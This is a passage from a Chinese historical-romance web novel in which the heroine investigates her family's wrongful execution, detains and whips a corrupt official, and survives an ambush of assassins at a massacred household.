唐兮暖从周川行怀里退出来,泪眼朦胧的望着t他，“其实，你知道我父母是被谁害死的,是不是？” 周川行仰头看了一眼楼上。 楚衍诺也在楼上看着他。 还有什么不明白的，周川行点了点头，“我知道,我一直都知道。” 唐兮暖已经学会设身处地为别人着想，“你担心我应付不来，受到伤害是不是？” 周川行最担心的就是小姑娘知道他有事相瞒，因此和他生分。 他急急忙忙赶过来，生怕小姑娘不给他机会解释，选择和楚衍诺离开。 此刻见她如此明事理，意识到自己小瞧了他的姑娘。 “嗯，”他坦白道，“当年的事情，错综复杂,我……你放心，那些坏人,我一个都不会放过,保证给你一个交代。” 唐兮暖还是相信他的，“我信你,不过我自己也会查证，如果可能,我想自己报仇。” 周川行不会绑住她的手脚，“量力而行，你要记得，不管任何时候,二郎都站在你这边。” …… 站在楼上的楚衍诺，眼睁睁看着周川行把人哄好，带回车上。 心如刀割，他使劲握紧拳头，表妹是他的，谁都不能抢走。 马车里，周川行询问小姑娘接下来的打算。 “大周朝过往案件档案全部封存在检法台，我派人给你取来。” 唐兮暖拒绝了，“我自己去，你告诉检法台在哪就好。” 检法台归大理寺管辖。 周川行如实回道：“在大理寺，你带着我的腰牌过去，想调阅什么档案直接跟大理寺卿说就好。” 担心楚衍诺离间他和小姑娘，解释道：“大理寺卿为人最是公正，有名的李青天，自从入朝以来，他不站队任何人，誓要做大周朝的包青天。 让所有案件真相大白天下，所有蒙冤之人得到公正，作恶之人受到惩罚。 有他在，你们唐家一定会平反昭雪的。” 唐兮暖还是第一次听说这人，“那如果凶手是皇上呢？” 周川行心底一惊，楚衍诺不会把刀锋瞄准他了吧。 这个时候解释，只怕小姑娘多疑。 还是要从长计议。 “只要有证据，就算天子，他也敢判。” 唐兮暖不知道周川行如此淡定，是因为皇上确实无辜，还是因为年代久远，确定她找不到证据。 不管怎么样，她都会查清楚真相。 第二天一大早，唐兮暖吃完饭便和小倩去了大理寺。 当然，紫苏和连翘寸步不离。 现在，唐兮暖没什么可相信的人。 除了孙卿兆。 他人聪明，又和这件事无关，肯定能做到公平公正。 可惜他有差事要办，此刻人在考场，这科考完才能出来。 唐兮暖不可能等到那时再调查真相。 她来到大理寺时，大理寺卿李策正好有事在办，她在大堂等了大约一炷香的时间才见到人。 她亮出周川行的腰牌，李策一眼认出，半点不敢怠慢。 “寒公子，有事尽管吩咐。” 寒兮先参加彩月楼的聪明人大赛赢得冠军，又和睿王发生龃龉骗走睿王五十万两白银，后在彩月楼发起挑战赛，赏金千两，惹得全城学子赶过去参加。 挑战赛后又举办书院，给所有学子免费授课，免费提供读书的地方，还免费提供午饭。 这桩桩件件，皆是风靡全城的壮举。 李策最喜欢体察民情，怎么可能错过这些事情。 而且寒兮身上不止这些正面新闻，还是当朝摄政王的男宠。 试想一个完美无瑕的人，偏偏被人发现那么一丝不足。 这可足够满京城人士茶余饭后闲谈了。 就连李策的家里人都没少争论。 李策小儿子十几岁。 李夫人听到寒兮的名声，特别想把人请回家给儿子当先生。 可太夫人担心寒兮性取向有问题，带坏宝贝孙子。 婆媳两个因为这事吵得李策头疼了好几天。 今天见到寒兮本人，饶是一向刚正不阿，正经严肃的大理寺卿也忍不住把人多打量几遍。 青年公子一身月白色上好锦缎，头戴幞头，脚踩登云履，十分简单的打扮。 可金贵之气蓬勃而发，根本无法忽视。 李策打量着，打量着，忽然发现不对来。 这哪里是公子，分明是一位貌若天仙的小姑娘。 可笑世人眼拙，竟没认出来男装下的女儿身。 李策打量唐兮暖的时候，她也在打量对方。 二郎给她推荐的人自然是靠谱的。 可调查十几年前的案子太过骇人，万一走漏消息，还不知道会造成什么后果。 她不奢望对方能主动帮她，只要公平公正，还她唐家一个公正就好。 “李大人，王爷有命，调阅大业元年前后两年所有满门抄斩案的所有卷宗。” 李策可不相信摄政王闲来无事去管十几年前的旧案。 只能是眼前这位姑娘需要。 “公子随我来。” 李策亲自带唐兮暖来到检法台。 好几仗高的楼房，存放着大周朝两百来年所有案件档案，包括诉状、证物清单、审理记录、判决书等等。 还有一些官员犯罪的相关记录或备份。 李策带路连着爬了两层楼，打开一间档案室，“大业元年前后的案件都在这里，满门抄斩的在这边，共有三起。 寒公子如果带走，请在这份文件上签字，并签上归还日期，本官好归档。” 大周朝刑罚并不严苛，除非叛国等十恶不赦的大罪才会满门抄斩，否则再重的罪也只罚当事人一人。 李策做大理寺卿八年，只判过一起满门抄斩。 大业元年，他刚进大理寺，那一年就判了三起满门抄斩，每一起他都记得特别清楚。 一起资敌，一起谋反，一起占山为王杀人越货实在罪无可恕。 李策曾仔细研读过三起案件。 资敌和占山为王这两起案子毫无可疑之处。 倒是谋反案令人奇怪。 一个御史大夫，无缘无故通敌谋反，动机可笑至极，早年见过敌国王子，两人八拜之交。 经常书信往来。 御史大夫不但为敌国王子提供消息，连边防图都送给对方。 先不说一个御使大夫怎么拿到朝中机密和那么重要的边防图，因为这点情谊谋反，葬送一家人性命，简直荒谬。 李策那个时候刚来大理寺不久，档案封存，他没权利查看。 做上大理寺卿才调出当年卷宗。 这些年，他找到不少证据都能证明当年的谋反案是诬陷。 他会主动调查的原因有二，一是他和唐御史相识。 唐御史为人刚正，不惧强权，他十分钦佩唐御史的为人。 这样的人不该背负一个叛国谋逆的罪名。 二是他身为大理寺官员，对所有案件的疑点都有着必须弄清楚真相的执拗。 不过陷害唐御史的主谋是太师。 这些年太师一党嚣张跋扈，为所欲为。 皇上又病重卧床。 十几年前的旧案翻出来，只怕也没人做主。 再者，唐家满门被斩，没有苦主出来伸冤，他作为大理寺卿实在不方便主动翻起前朝旧案。 今天唐兮暖上门，他忽然想起一件事。 唐家不是没有活口。 他记得唐御史还有个小女儿，天资聪明，智慧超群，颇有唐老太爷之风。 他去唐家的时候见过几面。 小姑娘迈着小短腿手里拎着葡萄撞到他身上，仰头一边看着他笑一边喊他李叔叔。 唐夫人担心她冲撞客人，追过来找她。 好像做了什么坏事一般，小不点把葡萄塞他手里，又迈着小短腿跑走了。 李策那个时候满心羡慕，就希望自己能有个如此聪明可爱的女儿。 可惜他命苦啊，夫人一连给他生了三个字，就是没有女儿。 今天见到唐兮暖，十几年前那一幕重新浮上脑海。 要是能认个义女，他这辈子也满足了。 李策看着眼前这张酷似唐夫人的脸，确定她就是当年那个撞到他腿的小姑娘。 “寒公子，有任何疑问，尽管开口，大业元年本官已经来了大理寺，这几宗案子，虽然不是本官亲手所判，还是有所了解的。” “大业元年？”唐兮暖假意翻了翻另外两起案子的卷宗，最后才把唐家的找出来。 李策肯定道：“是大业元年，这三起案子都是在皇上登基之前发生的。” 唐兮暖皱眉：“皇上登基之前？不是当今皇上所定？” 李策点头，“都是明哲三年的事。不过那个时候明哲皇上已经生病，只怕也不是他做的主。 唐家谋反案发生不久，叛军攻入京城，明哲皇上驾崩，先皇上任，也只t上任一天，便把皇位传给了当今圣上。” 唐兮暖读书多，了解过一些本朝的历史。 只不知道详细情况。 表哥果然在骗她，明明是明哲时期发生的事，竟然算在当今皇上身上，想让她误会二郎。 这些不是重点，唐兮暖还是想多了解一些关于父母的事情。 “李大人，卷宗我带走了，王爷看完会及时送过来的。” 李策目送小姑娘离开，有心将证据送给她，又担心自己冒然行事，引来不必要的麻烦。 还是要观察一下再说吧。 唐兮暖从大理寺出来，又碰到了阴魂不散的表哥。 她生气表哥骗她，一点都不想理他。 视线从他身上掠过很快收回，“连翘，帮我拦着他，不见。” 楚衍诺隔着连翘丝毫不影响他搭话。 “表妹，不管你想做什么，我都帮你。 前段时间去江南办差，你知道我为什么受伤吗？” 唐兮暖正往马车上爬，头也不回的说道：“不是为了救左丞相吗？” 楚衍诺痛心疾首，为表妹不能理解他，“知道我为什么拼命救左丞相吗？因为他和太师是一党，有他作证，不愁搬不倒太师。 表妹，我做这一切可都是为了你啊！ 为了你，我连命都可以不要。” 第74章 唐兮暖急着回去翻看卷宗,没时间和楚衍诺纠缠。 “那是你自己的选择，我没要求你这么做，当然,能搬倒太师我还是感谢你的，不过别想让我以身相许回报你，我早给过你机会,是你一再拒绝。 从我决定离开侯府那天起，我们就两清了，以后只是亲戚关系。 你愿意帮我，我感激。 不愿意，我也不勉强。” 语毕，她踩着上马石爬上马车，“连翘，我们走。” 连翘坐在赶车的位置，冲楚衍诺拔剑示威，“再惹我家公子,小心尔的狗头。” 她之前还担心，唐兮暖和表哥纠缠不清,伤害她家王爷。 通过这两天的观察,唐兮暖虽然异于常人，可她很清楚自己该做什么不该做什么,甚至比常人还清醒。 昨天楚衍诺拿血仇做借口约她单独谈话。 她担心自己被误导，提前讲清楚条件。 甚至还提出不许离间她和王爷的关系。 连翘当时大受震撼。 唐姑娘能清醒地认识到自己缺点,并想办法避免。 昨晚王爷回府后一直和唐姑娘在一起，她还没来得及禀报。 今天把这些事情告诉王爷，王爷一定很欣慰。 周川行确实很欣慰。 小姑娘能在那种状况下，维护两人的关系,说明他在小姑娘的心里是十分重要的。 虽不一定超过楚衍诺，但绝对不会比他差就是了。 “今天唐姑娘去大理寺都发生什么事了？” 连翘如实回道：“李大人把大业元年发生的三桩满门抄斩案的档案全交给了唐姑娘，还让唐姑娘有疑惑尽管问他。” 周川行沉默片刻，“大理寺卿很久没跟本王述职了，让他明天来一趟。” “是，”连翘想到楚衍诺和癞皮狗似的缠着唐兮暖，建议道，“王爷，您能不能把楚世子派出去公干。” 周川行比连翘还烦他，“他又纠缠唐姑娘了？” 连翘如实汇报，“我拦着他不让靠近，可他隔着马车喊话，说什么冒死救左丞相是为了拉太师下马，因为唐姑娘他才受伤……” 周川行内心震怒，“唐姑娘什么反应？” 连翘：“唐姑娘说自从她离开侯府，两人就两清了，楚世子愿意帮忙会感激，不愿意也不勉强。 王爷，唐姑娘一心对您，就是楚世子太不要脸。” 周川行凉凉的瞥向连翘，“本王自会判断，行了，你去吧。” 当年的卷宗漏洞再多，也是经人专门处理的。 十几年过去，很难再找到确凿证据。 唐兮暖把所有漏洞找出来，打算一一核实。 满门抄斩需要三司会审，皇上下旨。 整个流程走下来，至少需要半年之久。 可唐家的案子，不到一个月就被执行了。 如果能等到半年之久，新皇上任，他们唐家很可能谋到生机。 可见太师一党从十几年前就开始干涉朝政，专横跋扈了。 可怜她一家人性命。 当年负责唐家谋反案的大理寺卿是王民。 刑部尚书刘承和太傅姚敏忠，会同办案。 唐兮暖不认识这些人，命黄芪和百合去查，找到人后带来王府，她要亲自询问。 王民前些年已经作古。 刘承卸甲归田，住在距离京城五十里外的桃花坡。 而太傅姚敏忠，就是和唐兮暖一同参加聪明人大赛的姚麟的父亲。 如今和睿王同流合污，整天做着从龙之功的美梦。 现在还活着的两个人，姚太傅距离王府最近。 黄芪查清楚后先汇报给唐兮暖，之后带姚敏忠来到小勤政殿等候。 “敢问姑娘，王爷找我何事？” 最近周川行一口气处罚两百多名官员，上到一品大员，下到地方九品芝麻小官。 姚敏忠作为太傅，又是睿王的死党，自然心怀谨慎，处处小心。 黄芪面无表情道：“姚太傅等着就是，王爷的心思，岂是我等能猜的。” 姚敏忠仔细回忆这段时间的行为，还算规矩。 不至于被王爷拿到把柄。 唐兮暖身穿男装走进勤政殿，作为最近京城的风流人物，姚太傅自然认识。 “寒公子。” 知道是摄政王的男宠，他恭敬谨慎地行礼。 唐兮暖淡淡瞥他一眼。 做了一个半月先生，如今的她浑身都散发着浓郁的书墨香。 不知道她身份的人，都以为他是哪家世家大族的小郎君。 “姚太傅，”她示意小倩将她整理好的文档拿给姚敏忠，“晚辈有几个问题请教，还请姚太傅知无不言，晚辈必当终生感激。” 姚敏忠虽然是睿王的人，可睿王继承大统的机会很小。 他肯定不能轻易得罪摄政王。 如果周川行主动向他抛出橄榄枝，他可能毫不犹豫倒戈。 可惜周川行并不是一个拉帮结派的人。 也看不上姚敏忠的为人。 今天能为摄政王的男宠效劳，姚太傅心有荣焉。 待他看清楚文档上的内容，那点攀附的心思逐渐变淡，最后浑身冰冷，脊骨发凉。 “寒公子这是……” 唐兮暖直言道：“晚辈受人所托，调查当年唐御史一家被害案，姚太傅作为当年的审理人，不可能不清楚真实情况。 姚太傅愿意说，晚辈真心感激。 如果姚太傅不愿意，晚辈不介意用些非常手段。” 唐兮暖丝毫不给情面，连威胁带恐吓，听得姚太傅面红耳赤，震怒至极。 “摄政王呢？”他气得吹胡子瞪眼。 作为三公之一，他怎么可能接受一个无官无职的白丁盘问。 刚才还想通过摄政王的男宠，拉拢一下他和摄政王的关系。 竟然把他当成犯人一样审问。 “你无官无职，凭什么审问本官，就算是摄政王的男宠，也不能如此放肆！” 唐兮暖早有心里准备，给爹娘翻案不会容易。 可姚太傅反应也太强烈了点。 “姚太傅，你作为三公之一，不思报销朝廷，为君王分忧，为百姓谋福，却任人唯亲，纵容宵小，为祸朝廷，冤杀能臣，害人性命，我看你这太傅是做到头了。” 她气得小脸绯红，说到生气处，忍不住拍响案板，“别以为你不说我就拿你没办法，百合，把他绑起来送入地牢，先抽一百鞭子。” 百合最喜欢干这种事了。 她磨拳磨掌，拎着绳子就往姚太傅头上套。 “自己看上青楼的花魁，把人弄回家又不好好对待，还嫌弃人家生的儿子玷污了你们姚家血脉，不许人家考科举，进官场，我看你才是坏了心肝的恶人……” 姚太傅拼命抵抗，奈何他不会武功。 根本不是百合的对手，三两下就被绑上绳子。 又怒又气，也顾不得太傅身份，破口大骂，“你们敢抓我，我可是当今太傅，摄政王都没权这么做，快点放了我，本官既往不咎，否则别怪我告到皇上那里，诛你满门。” 十几年前就被诛过一次满门了，唐兮暖怎么可能怕他威胁。 只管命百合把人送进地牢。 怀疑一百鞭子能把人打死，只让百合打二十鞭子。 姚太傅养尊处优了一辈子，一鞭子下去就发出杀猪一般的嚎叫。 二十鞭子结束，浑身血淋淋已经没有人样。 唐兮暖盯着只剩下一口气的人，拿出最后一点耐心，“我再问你一遍，唐家被冤杀的真实情况，但凡有一个字假话，都别想活着从这里出去。 本公子让你也尝尝被人冤杀的心情。” 姚太傅被送进暗无天日t的地牢，又被打二十鞭子，满腹心气早都消失干净。 这会只剩下求生意识。 这个摄政王的男宠亦正亦邪，根本不能用常人的思维理解他。 想来敢这么肆无忌惮，已经不是一次两次，摄政王大概偏袒，皇上病重，他根本是求告无门。 “寒公子，我说，我说。” 唐兮暖松了口气，“这么懂事也不至于挨鞭子，说吧，当年怎么回事？” 姚太傅知无不言，可惜他所知不多。 当年皇上还没上位，他和王太师有些交情但是不多。 先是唐御史上折子弹劾王太师串通藩王谋反，真相还没查出来，唐御史反倒成了通敌叛国的叛贼。 当时的皇上命他和大理寺卿、刑部尚书联合审理，他看出事有蹊跷。 不过王太师送给他十万两银子，他便默许了事态发展。 问来问去，姚太傅也只知道个事有蹊跷，拿不出任何证据。 唐兮暖不想在他身上花费太多心思，命令百合：“这人就在这关着吧，什么时候我查清楚真相，什么时候再放人。” 姚太傅心碎一地，“寒公子，求你放了我吧，我保证不传出去一个字。” 可惜，唐兮暖根本没听他说完。 百合是个天不怕地不怕的。 只嫌弃生活过于平淡，有热闹参与，她比谁都兴奋，只怕事情太小，不够尽兴。 黄芪比她思虑周全，担心唐兮暖私自关了朝廷大员，惹王爷生气。 “唐姑娘，这事，您要不和王爷说一下吧。” 唐兮暖自然会说，可她还没想好怎么说。 “姚太傅肯定不能放，他只要从这里走出去，肯定给太师一党通风报信，我什么都没查到，让他们有了准备，还怎么查下去。” 黄芪明白她的心思，“可他毕竟是一品大员。” 百合想也不想的说道：“咱们谁都不说，王爷又不知道人关在王府，我看那个姚太傅除了一肚子坏水，没什么正经事，丢了也就丢了。 王爷忙着科举，哪有精力管这些只会吃空饷的蛀虫。 要是有人问起来，我们就散播出去姚太傅喝花酒去了，反正他喜欢花魁。” 这个主意不错，唐兮暖赞同，“你们几个都管住嘴，王爷不问，谁也别主动提，等我想到办法再说。”—— 作者有话说：周川行：我家姑娘越来越能耐，一品大员都敢扣押了！！！ 感谢小可爱们的爱心投喂： 第75章 唐兮暖第一次做“坏事”,没定罪就把人关进私人地牢。 还是当今一品大员，姚太傅。 难免忍不住心虚。 她倒不怕事发，只怕二郎生气发火教训她。 不过二郎如果不站她这边,她连二郎一起不要了。 灭门之仇不共戴天，才不管当初的主谋从犯，她一个都不会放过。 姚太傅收王太师十万两银子,就要为当初的贪婪付出代价。 至于紫苏、连翘、黄芪和百合，他们都是知情人。 她已经有所交代，不许告诉王爷。 但凡谁泄露出去，她就把谁赶走，身边绝不留不忠之人。 “小倩，你盯着点。” 主仆两个心有灵犀，唐兮暖一个眼神，小倩便能会意。 她悄悄观察一晚上，没发现谁去王爷面前告状。 晚上入睡前，小倩告诉唐兮暖,“至少暂时是可信的，奴婢会继续盯着的,有发现第一时间告诉小姐。” 唐兮暖诺有所思地点点头,“王爷忙，顾不上这事。” 小倩问道：“接下来我们做什么？” 唐兮暖已经有计划,“今天黄芪去找刘承，他没在家,明天我们亲自去。” 两人聊完计划睡觉。 周川行一面惦记科举，一面处理朝政。 今天傍晚皇上醒过来一阵，他亲自守在旁边侍奉汤药。 皇后欲言又止，肯定想求皇上赦免太师,碍于他在场，一直没找到机会。 皇上熟睡后，他命负责守卫寝宫的侍卫太监，不管任何时候，只要皇后在场，都要小心留意。 离开皇宫之前，皇后把他叫住，阴阳怪气免不了一顿教训。 中秋第二天，端王和楚衍晴已经成婚。 为了演戏效果，他没出。 端王为此在宴上喝的酩酊大醉，新婚夜跑皇上寝宫外大肆发泄。 还是皇后安抚好，命人把端王送回去的。 在皇后眼里，周川行和端王已经因为一个女人彻底决裂。 皇后请求封魏公公为国公的懿旨已经送到他小勤政殿的桌岸上。 前朝封官，没有摄政王令无法奏效。 他压着还没批。 皇后妄想太师府能重新崛起。 端出长嫂的气势把人教训完，又提出联姻的事。 “皇嫂姨母家的表妹，已经成年，是个国色天香一般的美人，你年纪也不小了，不能没人照顾，干脆皇嫂做主，给你封个侧妃，年前就把婚礼办了吧。” 摄政王妃的位置，皇后不敢肖想。 表妹是个聪明的，过个一年半载诞下王子，扶成正妃还不是一句话的事。 他们王家是倒了，可父亲健在，根基还在，只要哄得摄政王高兴，随时可以起复。 周川行认准唐兮暖，一生一世一双人，怎么会娶别人。 不过皇嫂做主，婚期还远，他没必要当场拒绝。 “川行没有父母了，皇兄又病重，川行一切有劳皇嫂操心，皇嫂做主就是。” 周川行答应如此快，皇后心里不踏实。 别像上次一样，她这边刚做主定下亲事，他那边已经谋划杀人了。 不过这事也怪妹妹私生活混乱，竟敢给这个杀人不眨眼的大魔头戴绿帽子。 这次的表妹，她是从众多亲眷中选出来的。 人品模样都毫无瑕疵，人又聪明漂亮，保证能拢住周川行的心。 “莹儿表妹可是大周朝少有的美人，从小由老夫人亲自教导，从来不见外男，真真冰清玉洁一个小姑娘，二弟娶回家就知道她的妙处了，人又聪慧，肯定能管理好你的王府，不让你有任何后顾之忧。” 周川行客气道：“川行真心感谢皇嫂费心，能娶到如此佳人，是川行的福气。” 皇后对周川行的表现还算满意。 可这心里莫名其妙七上八下的。 待周川行走后，她把魏公公找过来，“你说，老二这是真想娶了，还是阳奉阴违又想什么歪主意呢？” 魏公公猜测道：“楚三小姐嫁人了，王爷应该是心灰意冷什么女人都行了。” 皇后摸不准周川行的性子，“最好如此。” 回寝宫不久，忽然接到太师府密信，她看完脸色大变，立刻派人出去处理。 魏公公想探听一下皇后接到的密信内容，可惜皇后还没完全相信他，一时间无从知晓。 周川行回到王府时，夜以至深。 听到陶罐汇报，小姑娘把姚太傅关进王府地牢还抽了二十鞭子。 柔柔弱弱的小姑娘竟然有这么大胆子。 着实让他意外。 “你去补一份调查姚太傅的密令，另外从明天开始你跟着唐姑娘，务必护好她的安全。 唐姑娘不知深浅，你提醒着些。” 周川行第一次对下属絮絮叨叨嘱咐这么多，总觉得还有疏漏。 “对了，你把姚太傅所犯罪证连同密室的钥匙一起放到姚麟的桌子上。” 陶罐跟了周川行十几年，主子一个眼神，他都能很快体会其中深意。 将两样东西交给姚麟，是逼着他站队了。 “王爷，万一姚麟选择太傅呢？” 周川行冷漠道：“本王不要不忠之人。” 陶罐明白了，“属下这就去办。” 他刚才听密探说起唐姑娘竟然把姚太傅关进地牢，还以为王爷会责备唐姑娘。 他已经把求情的说辞想好了。 唐姑娘心思单纯，考虑事情简单，务必求王爷放过她。 没想到王爷竟然后补调查密令。 这是不想让姚太傅活着走出大牢了。 大有小姑娘杀人，王爷替她埋尸的意思。 王爷对唐姑娘也太宠了点。 唐兮暖还不知道二郎已经知道姚太傅的事。 她爬上床刚刚那躺下，听到有人推门进屋，除了二郎再没别人。 刚刚还在打哈欠的小姑娘，忽然来了精神。 “二郎，你怎么这么晚才回来，累不累？” 她光着下地，赶过去帮男人脱外袍。 这是唐兮暖第一次帮周川行更衣。 周川行压着笑意，打量着他的小姑娘。 一身鹅黄色的里衣，在温馨暖绒的灯光下衬着小姑娘越发柔和乖巧。 “这么乖？” 唐兮暖乖乖巧巧的笑着，一如刚认识那会，干净纯粹。 眼里笑出两汪清浅的光，“照顾二郎就算乖嘛？那我以后每天都这么乖好不好！” 周川行一腔铁血全部化成柔情，他伸手把人抱住。 “好。” 他逗弄般捏了捏小姑娘的鼻子，“跟二郎说说，今天都做什么了？” 唐兮暖避重就轻，“调查了当年审判唐家的几个主审，一个死了，一个住在城外，我打算明天亲自过去。” 她有些讨好的意味，“二郎不会阻止我吧？” 周川行没时间陪她亲自走一趟，已经很愧疚了，怎么可能阻止。 “让陶罐跟你一起，另外把紫苏她们全都带上。” 唐兮暖肯定不会孤身犯险，“放心吧，我都带着，保证安安全全的回来。” 周川行不放心，又嘱咐道：“他愿意配合最好，不愿意配合，我派人秘密把人带回来。” 唐兮暖明白，“我知道t怎么保护自己。” 周川行有意问道：“就这两个主审吗？” 唐兮暖第一次撒谎，难免心虚，“是还有一个，就是姚太傅了。” 周川行压着坏笑问：“二郎帮你把人叫来？” “不用，不用，”唐兮暖急忙阻止，“他人就在京城，不怕他跑了，不急，不急，最后再找他就行。” 小姑娘长大了，都和他有秘密了。 周川行在心里无奈叹口气，表面却装作什么都不知道的样子。 “记得，在二郎心里，全世界都没你重要，自己能做就做，不能做回来找二郎，二郎帮你。” “好，我记住了，”唐兮暖乖巧懂事的回道，“二郎对我好，我都知道，昨天表哥诬赖皇上是帮凶，我都没信呢。 今天问了李大人，唐家蒙冤是明哲三年，等我查清楚真相，如果明哲皇帝真是帮凶，我非掘了他的坟。” 一向乖巧懂事单纯的小姑娘，一双眼睛蓦然淬出杀意。 周川行明白，小姑娘报仇的心思比什么都重。 已经到了佛挡杀佛的境地。 作为未婚夫，小姑娘的仇就是他的仇。 誓要王太师血债血偿。 “暖暖如此信我，我很开心。 将来掘坟时，你站在旁边指挥，我亲自帮你掘。” 唐兮暖受到震撼，“明哲是你亲人吧。” 算起来，明哲是周川行的堂叔。 明君他自然会认，可昏君，就算是亲爹，该大义灭亲也要大义灭亲。 “远房的，不碍。” 两人并没在一起聊多久，尽管周川行特别舍不得离开。 可小姑娘眼皮发沉，他不忍刚刚养好没多久的小姑娘太过操劳。 在她头上落下一吻后，狠着心离开闺房。 唐兮暖恨归恨，可她心思简单，躺在床上没多久就睡了。 第二天吃过饭，她带一群人赶往桃花坡。 可惜他们晚了一步。 刘承一家三十一口，全被屠杀，无一活口。 唐兮暖第一次见到这么多死人，又惊又惧，拉着小倩不肯松手。 如果不是刘承当年作恶，怎么会落到满门被灭的结局。 “小姐，什么人下的手，好狠，连几岁的孩童都没放过。” 刘承怀里紧紧抱着一个五六岁大小的孩童。 刘承身中数刀，小孩是一刀毙命。 唐兮暖想起自己小时候。 当年只有五岁的她被送往侯府，爹爹握着她幼小的双肩一再叮嘱，“记住自己是个傻子，傻子才能活命。” 可惜刘承的子孙连装傻的机会都没有了。 “报官吧，”唐兮暖吩咐陶罐，“之后帮忙处理一下后事。” 陶罐欣然领命，“属下知道了。” 楚衍诺一路尾随唐兮暖来到桃花坡，此刻看见刘宅满院子都是横七竖八的尸体，鲜血喷满地。 担心表妹害怕，一路赶过去保护，“表妹别怕，有我呢，别怕。” 第76章 桃花坡本就偏僻,刘承一家又在山脚下，占据一大片庄园。 距离他家最近的一户农家，还有三四里地。 凶手又是半夜上门。 是以刘家发生灭门惨案,竟没有一个人发现。 此刻凶手还没走，都埋伏在附近草丛、茂林深处。 唐兮暖几人来到庄园，被他们全程监控。 斩草除根,这些凶手决定连唐兮暖几人一并灭口，以绝后患。 唐兮暖听到表哥喊她，回头之际恰好看见草丛浮动，下意识喊道：“有坏人，快跑。” 她不会武功，拉着小倩急忙寻找安全角落。 陶罐从小跟着周川行，经历多少场战役存活下来的，伸手比不上周川行，可也算得上一流高手。 听风辨人，踢起地上石子,眨眼间就见两个黑影倒在不远处。 紫苏和连翘奉命保护唐兮暖，情况未明的关键时刻,她们不会冲出去拼杀,只对唐兮暖近身保护。 黄芪和百合第一时间冲出去寻找凶手。 楚衍诺反应也不慢，不过他担心表妹,持剑护在表妹面前。 此刻现场的情形就是，唐兮暖拉着小倩躲在大水缸后边。 身边站着三个小心谨慎的“保镖”。 只有陶罐、黄芪和百合努力跟二三十个黑衣人厮杀。 这些杀手都是饱经战斗的大内高手。 三人中,百合是武功最低的，很快胳膊受了一剑。 连翘忍不住去帮忙，“姐，你护着唐姑娘。” 她很快砍倒一个黑衣人,注意到楚衍诺一动不动的戳在唐兮暖旁边，气得大喊，“楚世子你是拿不动剑吗！” 楚衍诺保护唐兮暖是真，想要借机把人带走也是真。 “紫苏，你去帮他们。” 紫苏不肯去，“王爷有命，紫苏要时刻跟在姑娘身边，倒是楚世子，再不帮忙，我们可都要交代在这里了。” 楚衍诺无法，只能心有不甘的加入战斗。 唐兮暖躲在一株荷花后边，她摸出自己的武器，瞄准一个黑衣人。 自从武器做好，她还没拿真人试验过，正好试试威力。 “嗖——” 机关扣动，一枚钢针冲着黑衣人打过去，眨眼间，那人就发出一声哀嚎，随后痛苦不堪的捂着胸口倒了下去。 “打中了，打中了——” 小倩激动不已，“小姐，小姐，你这武器好厉害。” 唐兮暖第一次见到它杀人的威力。 这会也不怕了，她从大水缸后站起身，寻找下一个目标。 楚衍诺拼杀之际看见表妹的武器杀人，想到它昨天还瞄准自己。 万一被射中，小命休矣！ 表妹怎么会有如此厉害的武器，难道是摄政王特意为她打造的？ 楚衍诺忽然想起表妹刚离开侯府时，他去军器局，发现小倩出现在那里。 看来武器就是那个时候所做了。 “嘶——” 楚衍诺一直失神，忽然被人刺了一剑，好在只是手臂，伤口不深。 有了连翘和楚衍诺加入战斗，那些凶手很快落入下风。 又有唐兮暖的武器，转眼间就打中三人，凶手更不敢大意。 他们是来赚赏金的，可不是来送命的。 眼见着形势不利，几人用眼神一合计，忽然拼命向四周狂奔。 刘家庄园在桃花坡山脚下，周围都是荒山。 几个凶手眨眼消失在密林深处。 根本无处可追。 陶罐顾及唐兮暖的安危，命令几人停手。 之后亲自检查十几个倒地的凶手。 唐兮暖不认识这些人，可陶罐经常出入皇宫，还真见到一个面熟的。 那人身上甚至带着大内侍卫的腰牌。 陶罐将腰牌收好，打算回去拿给摄政王。 唐兮暖注意到，追过去查看，“那是什么，给我看看。” 王爷心尖尖上的人，陶罐不敢不从，老老实实将腰牌交给她。 唐兮暖不认识此物，“什么人身上会带个？” 陶罐正要回答，楚衍诺抢先一步，“是大内侍卫。” 他手臂受伤不重，却偏要做出一副快要死了的架势晃荡到唐兮暖面前，甚至发出痛苦的伸吟。 唐兮暖一门心思都在寻找证据上。 没注意到他这点小心思。 “陶罐，以后再发现什么，第一时间拿给我，否则你就别跟着我了。” 没有人比陶罐更明白，唐兮暖在王爷心里的位置。 这可是他抱大腿的好机会。 得罪了唐姑娘，比得罪王爷还严重。 “属下知道错了，这是大内侍卫的腰牌，属下怀疑……皇后。” 唐兮暖知道报仇艰难，王太师禽兽不如。 她才刚查到刘承，刘承满门就被屠杀。 看来姚太傅被抓的事情已经瞒不住了。 那姚太傅会不会被灭口呢？ 听姚太傅的意思，他什么都不知道，只发现案件有蹊跷，收下十万两银子后再没调查过。 王太师大概不会杀一个什么都不知道的人。 楚衍诺一直没找到机会带表妹离开。 听到皇后两个字，可是被他逮到了。 “表妹，这里危险，表哥带你离开，皇后既然派人杀了刘承，绝对不会放过你，外公和舅舅的大仇，表哥给你报，你跟表哥回去……” “楚世子，”连翘不高兴了，她将剑一横，拦在楚衍诺和唐兮暖中间，“你当我们都是死人吗，这么明目张胆的翘王爷的墙角，不想活了！” 百合不甘示弱，她干脆将剑刃横在楚衍诺脖颈处，“再蛊惑唐姑娘，看我不剐了你！” 楚衍诺自问无法在两人面前带走表妹，何况还有个面目可憎的陶罐。 只能特别不甘心的后退一步。 “表妹，别怕，我保护你。” 从始至终，唐兮暖神色都淡淡的，好像没听见一般。 楚衍诺张了张嘴，还想蛊惑几句，碍于虎视眈眈的几个姑娘，只能劝自己安分下来。 …… 本地知县得到消息，很快带着差役赶过来。 他是个糊涂的，见人就想安个凶犯罪名好尽快交差。 毕竟是几十人灭门的大案，发生在t他所管辖的地界，他一个小小的知县，去哪找凶手。 “你们几个为什么出现在凶案现场，本大人看你们分明是贼喊捉贼，全都给我缉拿起来。” 唐兮暖真为刘承遗憾。 惨遭灭门，又遇到个糊涂知县，大概永远没有真相大白之日了。 也不知道他当年得了王太师多少好处，赔上一家人的生命值不值得。 “放肆，”唐兮暖亮出周川行送给她的腰牌，“睁开你的狗眼看好好看看，我等是奉命找刘承询问的，来的时候他一家已经死了，你不去寻找凶手，倒是难为起我们了。” 赵知县有眼无珠，还真不认识摄政王的腰牌。 但凭唐兮暖的气势，应该是个很了不起的物件。 “这是……” 他伸手要就要拿过来仔细观察。 陶罐满脸嫌弃抬腿就是一脚。 “混账，这是摄政王的腰牌，见此腰牌如见摄政王本人，你几个脑袋敢凑上来拿！” 